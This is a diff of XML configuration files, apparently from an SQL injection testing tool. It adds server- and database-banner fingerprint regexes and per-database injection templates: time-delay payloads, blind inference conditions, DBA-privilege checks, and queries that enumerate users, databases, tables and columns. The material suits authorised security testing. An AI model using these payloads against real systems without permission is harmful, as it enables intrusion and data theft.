</regexp>
<regexp value="Knoppix">
<info type="Linux" distrib="Knoppix"/>
</regexp>
<regexp value="Mandrake">
<info type="Linux" distrib="Mandrake"/>
</regexp>
<regexp value="Mandriva">
<info type="Linux" distrib="Mandriva"/>
</regexp>
<regexp value="Red[\-\_\ ]*Hat">
<info type="Linux" distrib="Red Hat"/>
</regexp>
<regexp value="Slackware">
<info type="Linux" distrib="Slackware"/>
</regexp>
<regexp value="SuSE">
<info type="Linux" distrib="SuSE"/>
</regexp>
<regexp value="Ubuntu">
<info type="Linux" distrib="Ubuntu"/>
</regexp>
<!-- Unices -->
<regexp value="FreeBSD">
<info type="FreeBSD"/>
</regexp>
<regexp value="NetBSD">
<info type="NetBSD"/>
</regexp>
<regexp value="OpenBSD">
<info type="OpenBSD"/>
</regexp>
<!-- Mac OSX -->
<regexp value="Mac[\-\_\ ]*OSX">
<info type="Mac OSX"/>
</regexp>
<regexp value="Darwin">
<info type="Mac OSX"/>
</regexp>
</root>

42
xml/banner/mysql.xml Normal file
View File

@@ -0,0 +1,42 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<regexp value="^([\d\.\-]+)[\-\_\ ].*">
<info dbms_version="1"/>
</regexp>
<!-- Windows -->
<regexp value="^([\d\.\-]+)[\-\_\ ].*nt$">
<info dbms_version="1" type="Windows"/>
</regexp>
<!-- Debian -->
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+potato">
<info dbms_version="1" type="Linux" distrib="Debian" release="2.1" codename="potato"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+woody">
<info dbms_version="1" type="Linux" distrib="Debian" release="3.0" codename="woody"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+sarge">
<info dbms_version="1" type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+etch">
<info dbms_version="1" type="Linux" distrib="Debian" release="4.0" codename="etch"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+(sid|unstable)">
<info dbms_version="1" type="Linux" distrib="Debian" codename="unstable"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+testing">
<info dbms_version="1" type="Linux" distrib="Debian" codename="testing"/>
</regexp>
<!-- Ubuntu -->
<regexp value="^(5\.0\.67)-0ubuntu6">
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="8.10" codename="Intrepid Ibex"/>
</regexp>
</root>

7
xml/banner/oracle.xml Normal file
View File

@@ -0,0 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<regexp value="^Oracle\s+.*Release\s+([\d\.]+)\s+">
<info dbms_version="1"/>
</regexp>
</root>

16
xml/banner/postgresql.xml Normal file
View File

@@ -0,0 +1,16 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<regexp value="PostgreSQL\s+([\w\.]+)">
<info dbms_version="1"/>
</regexp>
<!-- Ubuntu -->
<regexp value="PostgreSQL\s+(8\.2\.7)\s+on\s+.*?\s+\(Ubuntu 4\.2\.3-2ubuntu4\)">
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="8.04" codename="Hardy Heron"/>
</regexp>
<regexp value="PostgreSQL\s+(8\.3\.5)\s+on\s+.*?\s+\(Ubuntu 4\.3\.2-1ubuntu11\)">
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="8.10" codename="Intrepid Ibex"/>
</regexp>
</root>

406
xml/banner/server.xml Normal file
View File

@@ -0,0 +1,406 @@
<?xml version="1.0" encoding="UTF-8"?>
<!--
References:
* http://www.http-stats.com/Server
* http://en.wikipedia.org
-->
<root>
<!-- Microsoft IIS -->
<regexp value="Microsoft-IIS/(7\.0)">
<info technology="Microsoft IIS" tech_version="1"/>
</regexp>
<regexp value="Microsoft-IIS/(6\.0)">
<info technology="Microsoft IIS" tech_version="1"/>
</regexp>
<regexp value="Microsoft-IIS/(5\.1)">
<info technology="Microsoft IIS" tech_version="1"/>
</regexp>
<regexp value="Microsoft-IIS/(5\.0)">
<info technology="Microsoft IIS" tech_version="1"/>
</regexp>
<regexp value="Microsoft-IIS/(4\.0)">
<info technology="Microsoft IIS" tech_version="1"/>
</regexp>
<regexp value="Microsoft-IIS/(3\.0)">
<info technology="Microsoft IIS" tech_version="1"/>
</regexp>
<regexp value="Microsoft-IIS/(2\.0)">
<info technology="Microsoft IIS" tech_version="1"/>
</regexp>
<!-- Apache -->
<regexp value="Apache$">
<info technology="Apache"/>
</regexp>
<regexp value="Apache/([\w\.]+)">
<info technology="Apache" tech_version="1"/>
</regexp>
<regexp value="Apache[\-\_\ ]AdvancedExtranetServer/([\w\.]+)">
<info technology="Apache" tech_version="1"/>
</regexp>
<!-- Apache: CentOS -->
<!-- TODO: add Centos 4.6, 4.7, 5.1 and 5.2 -->
<regexp value="Apache/2\.0\.46 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="3.7"/>
</regexp>
<regexp value="Apache/2\.0\.52 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="4.3|4.4"/>
</regexp>
<regexp value="Apache/2\.0\.46 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="5"/>
</regexp>
<!-- Apache: Debian -->
<!-- TODO: add Debian testing, unstable and experimental -->
<regexp value="Apache/1\.0\.5 \(Unix\) Debian/GNU">
<info type="Linux" distrib="Debian" release="1.1" codename="buzz"/>
</regexp>
<regexp value="Apache/1\.1\.1 \(Unix\) Debian/GNU">
<info type="Linux" distrib="Debian" release="1.2" codename="rex"/>
</regexp>
<regexp value="Apache/1\.1\.3 \(Unix\) Debian/GNU">
<info type="Linux" distrib="Debian" release="1.3" codename="bo"/>
</regexp>
<regexp value="Apache/1\.3\.0 \(Unix\) Debian/GNU">
<info type="Linux" distrib="Debian" release="2.0" codename="hamm"/>
</regexp>
<regexp value="Apache/1\.3\.3 \(Unix\) Debian/GNU">
<info type="Linux" distrib="Debian" release="2.1" codename="slink"/>
</regexp>
<regexp value="Apache/1\.3\.9 \(Unix\) Debian\/GNU">
<info type="Linux" distrib="Debian" release="2.2" codename="potato"/>
</regexp>
<regexp value="Apache/1\.3\.26 \(Debian GNU\/Linux\)">
<info type="Linux" distrib="Debian" release="3.0" codename="woody"/>
</regexp>
<regexp value="Apache/1\.3\.33 \(Debian GNU\/Linux\)">
<info type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
</regexp>
<regexp value="Apache/2\.0\.54 \(Debian GNU\/Linux\)">
<info type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
</regexp>
<regexp value="Apache/2\.2\.3 \(Debian\)">
<info type="Linux" distrib="Debian" release="4.0" codename="etch"/>
</regexp>
<regexp value="Apache/2\.2\.6 \(Debian\)">
<info type="Linux" distrib="Debian" release="4.0" codename="etch" updated="True"/>
</regexp>
<!-- Apache: Fedora -->
<!-- TODO: add Fedora 8, 9 and 10 -->
<regexp value="Apache/2\.0\.47 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="1" codename="Yarrow"/>
</regexp>
<regexp value="Apache/2\.0\.50 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="1" codename="Yarrow" updated="True"/>
</regexp>
<regexp value="Apache/2\.0\.49 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="2" codename="Tettnang"/>
</regexp>
<regexp value="Apache/2\.0\.51 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="2" codename="Tettnang" updated="True"/>
</regexp>
<regexp value="Apache/2\.0\.52 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="3" codename="Heidelberg"/>
</regexp>
<regexp value="Apache/2\.0\.53 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="3" codename="Heidelberg" updated="True"/>
</regexp>
<regexp value="Apache/2\.0\.54 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="4" codename="Stentz"/>
</regexp>
<regexp value="Apache/2\.2\.0 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="5" codename="Bordeaux"/>
</regexp>
<regexp value="Apache/2\.2\.2 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="5" codename="Bordeaux" updated="True"/>
</regexp>
<regexp value="Apache/2\.2\.3 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="6" codename="Zod"/>
</regexp>
<regexp value="Apache/2\.2\.4 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="7" codename="Moonshine"/>
</regexp>
<regexp value="Apache/2\.2\.6 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="6|7" codename="Zod|Moonshine" updated="True"/>
</regexp>
<!-- Apache: Mandrake / Mandriva -->
<!-- TODO: add Mandriva 2007.1, 2008.0, 2008.1 and 2009.0 -->
<regexp value="Apache/1\.3\.6 \(Unix\)\s+\(Mandrake/Linux\)">
<info type="Linux" distrib="Mandrake" release="6.0" codename="Venus"/>
</regexp>
<regexp value="Apache/1\.3\.9 \(Unix\)\s+\(NetRevolution Advanced Server/Linux-Mandrake\)">
<info type="Linux" distrib="Mandrake" release="6.1|7.0" codename="Helios|Air"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.12 \(NetRevolution/Linux-Mandrake\)">
<info type="Linux" distrib="Mandrake" release="7.1" codename="Helium"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.14 \(Linux-Mandrake/">
<info type="Linux" distrib="Mandrake" release="7.2" codename="Odyssey"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.19 \(Linux-Mandrake/">
<info type="Linux" distrib="Mandrake" release="8.0" codename="Traktopel"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.20 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="8.1" codename="Vitamin"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.23 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="8.2" codename="Bluebird"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.26 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="9.0" codename="Dolphin"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.27 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="9.1" codename="Bamboo"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/2\.0\.44 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="9.1" codename="Bamboo"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.28 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="9.2" codename="FiveStar"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/2\.0\.47 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="9.1|9.2" codename="Bamboo|FiveStar"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.29 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="10.0" codename="Community"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/2\.0\.48 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="10.0" codename="Community"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.31 \(Linux-Mandrake/">
<info type="Linux" distrib="Mandrake" release="10.1" codename="Official"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/2\.0\.50 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="10.0|10.1" codename="Community|Official"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/2\.0\.53 \(Mandriva Linux/">
<info type="Linux" distrib="Mandrake" release="10.2" codename="Limited Edition 2005"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/2\.0\.54 \(Mandriva Linux/">
<info type="Linux" distrib="Mandriva" release="2006.0"/>
</regexp>
<regexp value="Apache/2\.2\.3 \(Mandriva Linux/">
<info type="Linux" distrib="Mandriva" release="2007"/>
</regexp>
<!-- Apache: Red Hat -->
<!-- TODO: add Red Hat 5, 5.1, 5.2 and 5.3 -->
<regexp value="Apache/1\.2\.6 Red Hat">
<info type="Linux" distrib="Red Hat" release="5.1" codename="Manhattan"/>
</regexp>
<regexp value="Apache/1\.3\.3 \(Unix\)\s+\(Red Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="5.2" codename="Apollo"/>
</regexp>
<regexp value="Apache/1\.3\.6 \(Unix\)\s+\(Red Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="6.0" codename="Hedwig"/>
</regexp>
<regexp value="Apache/1\.3\.9 \(Unix\) \(Red Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="6.1" codename="Cartman"/>
</regexp>
<regexp value="Apache/1\.3\.12 \(Unix\) \(Red Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="7.0" codename="Guinness"/>
</regexp>
<regexp value="Apache/1\.3\.19 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="7.1" codename="Seawolf"/>
</regexp>
<regexp value="Apache/1\.3\.20 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="7.2" codename="Enigma"/>
</regexp>
<regexp value="Apache/1\.3\.23 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="7.3" codename="Valhalla"/>
</regexp>
<regexp value="Apache/1\.3\.27 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="7.1|7.2|7.3" codename="Seawolf|Enigma|Valhalla" updated="True"/>
</regexp>
<regexp value="Apache/2\.0\.40 \(Red Hat Linux\)">
<info type="Linux" distrib="Red Hat" release="8.0|9" codename="Psyche|Shrike"/>
</regexp>
<regexp value="Apache/1\.3\.22 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="Enterprise 2.1" codename="Panama"/>
</regexp>
<regexp value="Apache/2\.0\.46 \(Red Hat\)">
<info type="Linux" distrib="Red Hat" release="Enterprise 3" codename="Taroon"/>
</regexp>
<regexp value="Apache/2\.0\.52 \(Red Hat\)">
<info type="Linux" distrib="Red Hat" release="Enterprise 4" codename="Nahant"/>
</regexp>
<!-- Apache: SuSE -->
<!-- TODO: add SuSE 10.1, 10.2, 10.3 and 11.0 -->
<regexp value="Apache/1\.3\.6 \(Unix\) \(SuSE/Linux\)">
<info type="Linux" distrib="SuSE" release="6.1"/>
</regexp>
<regexp value="Apache/1\.3\.9 \(Unix\) \(SuSE/Linux\)">
<info type="Linux" distrib="SuSE" release="6.2"/>
</regexp>
<regexp value="Apache/1\.3\.12 \(Unix\) \(SuSE/Linux\)">
<info technology="operating-system.type" type="str" value="Linux"/>
<info type="Linux" distrib="SuSE" release="6.4|7.0"/>
</regexp>
<regexp value="Apache/1\.3\.17 \(Unix\) \(SuSE/Linux\)">
<info type="Linux" distrib="SuSE" release="7.1"/>
</regexp>
<regexp value="Apache/1\.3\.19 \(Unix\) \(SuSE/Linux\)">
<info type="Linux" distrib="SuSE" release="7.2"/>
</regexp>
<regexp value="Apache/1\.3\.20 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="7.3"/>
</regexp>
<regexp value="Apache/1\.3\.23 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="8.0"/>
</regexp>
<regexp value="Apache/1\.3\.26 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="8.1"/>
</regexp>
<regexp value="Apache/1\.3\.27 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="8.2"/>
</regexp>
<regexp value="Apache/1\.3\.28 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="9.0"/>
</regexp>
<regexp value="Apache/2\.0\.40 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="8.1"/>
</regexp>
<regexp value="Apache/2\.0\.44 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="8.2"/>
</regexp>
<regexp value="Apache/2\.0\.47 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="9.0"/>
</regexp>
<regexp value="Apache/2\.0\.49 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="9.1"/>
</regexp>
<regexp value="Apache/2\.0\.50 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="9.2"/>
</regexp>
<regexp value="Apache/2\.0\.53 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="9.3"/>
</regexp>
<regexp value="Apache/2\.0\.54 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="10.0"/>
</regexp>
<!-- Apache: Ubuntu -->
<regexp value="Apache/2\.0\.50 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="4.10" codename="Warty Warthog"/>
</regexp>
<regexp value="Apache/2\.0\.53 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="5.04" codename="Hoary Hedgehog"/>
</regexp>
<regexp value="Apache/2\.0\.54 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="5.10" codename="Breezy Badger"/>
</regexp>
<regexp value="Apache/2\.0\.55 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="6.06|6.10" codename="Dapper Drake|Edgy Eft"/>
</regexp>
<regexp value="Apache/2\.2\.3 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="7.04" codename="Feisty Fawn"/>
</regexp>
<regexp value="Apache/2\.2\.4 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="7.10" codename="Gutsy Gibbon"/>
</regexp>
<regexp value="Apache/2\.2\.8 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="8.04" codename="Hardy Heron"/>
</regexp>
<regexp value="Apache/2\.2\.9 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="8.10" codename="Intrepid Ibex"/>
</regexp>
</root>

21
xml/banner/servlet.xml Normal file
View File

@@ -0,0 +1,21 @@
<?xml version="1.0" encoding="UTF-8"?>
<!-- Reference: http://www.http-stats.com/Servlet-Engine -->
<root>
<regexp value="Tomcat( Web Server)*\/([\d\.]+)">
<info technology="Tomcat" tech_version="1"/>
</regexp>
<regexp value="JSP[\-\_\/\ ]([\d\.]+)">
<info technology="JSP" tech_version="1"/>
</regexp>
<regexp value="Servlet[\-\_\/\ ]([\d\.]+)">
<info technology="Servlet" tech_version="1"/>
</regexp>
<regexp value="Java[\-\_\/\ ]([\d\.]+)">
<info technology="Java" tech_version="1"/>
</regexp>
</root>

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="UTF-8"?>
<!-- Reference: http://www.http-stats.com/Set-Cookie2 -->
<root>
<regexp value="([\d\.]+)">
<info technology="Microsoft Share Point" tech_version="1" type="Windows"/>
</regexp>
</root>

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="UTF-8"?>
<!-- Reference: http://www.http-stats.com/X-AspNet-Version -->
<root>
<regexp value="([\d\.]+)">
<info technology="ASP.NET" tech_version="1" type="Windows" distrib="2003|2008"/>
</regexp>
</root>

View File

@@ -0,0 +1,29 @@
<?xml version="1.0" encoding="UTF-8"?>
<!-- Reference: http://www.http-stats.com/X-Powered-By -->
<root>
<regexp value="PHP[\-\_\/\ ]([\d\.]+)">
<info technology="PHP" tech_version="1"/>
</regexp>
<regexp value="JSP[\-\_\/\ ]([\d\.]+)">
<info technology="JSP" tech_version="1"/>
</regexp>
<regexp value="ASP[\/\d\.]*$">
<info technology="ASP" type="Windows"/>
</regexp>
<regexp value="ASP\.NET">
<info technology="ASP.NET" type="Windows"/>
</regexp>
<regexp value="(JBoss|Tomcat)[\-\_\/\ ]*([\d\.]+)">
<info technology="Tomcat" tech_version="2"/>
</regexp>
<regexp value="Servlet[\-\_\/\ ]*([\d\.]+)">
<info technology="Servlet" tech_version="1"/>
</regexp>
</root>

View File

@@ -14,11 +14,20 @@
<limitstring query=" LIMIT "/>
<order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/>
<comment query="#" query2="/*"/>
<!--
NOTE: MySQL 5.0.12 introduced SLEEP() function
References:
* http://dev.mysql.com/doc/refman/5.0/en/news-5-0-12.html
* http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_sleep
-->
<timedelay query="SLEEP(%d)" query2="SELECT BENCHMARK(1000000, MD5('%d'))"/>
<substring query="MID((%s), %d, %d)"/>
<inference query="AND ORD(MID((%s), %d, 1)) > %d"/>
<banner query="VERSION()"/>
<current_user query="CURRENT_USER()"/>
<current_db query="DATABASE()"/>
<is_dba query="SELECT (CASE WHEN super_priv='Y' THEN 1 ELSE 0 END) FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1" query2="SELECT IF((SELECT privilege_type FROM information_schema.USER_PRIVILEGES WHERE grantee LIKE '%s' AND privilege_type='SUPER' LIMIT 0, 1)='SUPER', 1, 0)"/>
<users>
<inband query="SELECT grantee FROM information_schema.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
<blind query="SELECT DISTINCT(grantee) FROM information_schema.USER_PRIVILEGES LIMIT %d, 1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d, 1" count="SELECT COUNT(DISTINCT(grantee)) FROM information_schema.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
@@ -62,11 +71,14 @@
<limitstring/>
<order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/>
<comment query="--"/>
<timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="EXEC DBMS_LOCK.SLEEP(%d.00)" query3="EXEC USER_LOCK.SLEEP(%d00)"/>
<substring query="SUBSTR((%s), %d, %d)"/>
<inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
<current_user query="SELECT SYS.LOGIN_USER FROM DUAL"/>
<current_db query="SELECT SYS.DATABASE_NAME FROM DUAL"/>
<is_dba query="SELECT CASE WHEN ((SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE='DBA')='DBA') THEN 1 ELSE 0 END FROM DUAL"/>
<users>
<inband query="SELECT USERNAME FROM SYS.ALL_USERS"/>
<blind query="SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS limit FROM SYS.ALL_USERS) WHERE limit=%d" count="SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS"/>
@@ -109,11 +121,14 @@
<limitstring query=" OFFSET "/>
<order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/>
<comment query="--" query2="/*"/>
<timedelay query="SELECT pg_sleep(%d)" query2="CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(%d)"/>
<substring query="SUBSTR((%s)::text, %d, %d)"/>
<inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/>
<banner query="VERSION()"/>
<current_user query="CURRENT_USER"/>
<current_db query="CURRENT_DATABASE()"/>
<is_dba query="SELECT (CASE WHEN usesuper=true THEN 1 ELSE 0 END) FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1"/>
<users>
<inband query="SELECT usename FROM pg_user"/>
<blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
@@ -157,11 +172,14 @@
<limitstring/>
<order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/>
<comment query="--" query2="/*"/>
<timedelay query="WAITFOR DELAY '0:0:%d'"/>
<substring query="SUBSTRING((%s), %d, %d)"/>
<inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/>
<banner query="@@VERSION"/>
<current_user query="SYSTEM_USER"/>
<current_db query="DB_NAME()"/>
<is_dba query="SELECT (CASE WHEN is_srvrolemember('sysadmin')=1 THEN 1 ELSE 0 END)"/>
<users>
<inband query="SELECT name FROM master..syslogins" query2="SELECT name FROM sys.sql_logins"/>
<blind query="SELECT TOP 1 name FROM master..syslogins WHERE name NOT IN (SELECT TOP %d name FROM master..syslogins)" query2="SELECT TOP 1 name FROM sys.sql_logins WHERE name NOT IN (SELECT TOP %d name FROM sys.sql_logins)" count="SELECT LTRIM(STR(COUNT(name))) FROM master..syslogins" count2="SELECT LTRIM(STR(COUNT(name))) FROM sys.sql_logins"/>
@@ -174,17 +192,15 @@
<privileges/>
<dbs>
<inband query="SELECT name FROM master..sysdatabases"/>
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases)" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
</dbs>
<!-- TODO: condition? -->
<tables>
<inband query="SELECT name FROM %s..sysobjects WHERE xtype IN ('u', 'v')"/>
<blind query="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype IN ('u', 'v') AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype IN ('u', 'v'))" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE xtype IN ('u', 'v')"/>
<blind query="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype IN ('u', 'v') AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype IN ('u', 'v') ORDER BY name ASC) ORDER BY name ASC" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE xtype IN ('u', 'v')"/>
</tables>
<!-- TODO: getRange like Oracle? -->
<columns>
<inband query="SELECT %s..syscolumns.name, TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'"/>
<blind query="SELECT TOP 1 name FROM (SELECT TOP %s name FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')) CTABLE" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')"/>
<blind query="SELECT TOP 1 name FROM (SELECT TOP %s name FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s') ORDER BY name ASC) CTABLE ORDER BY name DESC" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')"/>
</columns>
<dump_table>
<inband query="SELECT %s FROM %s..%s"/>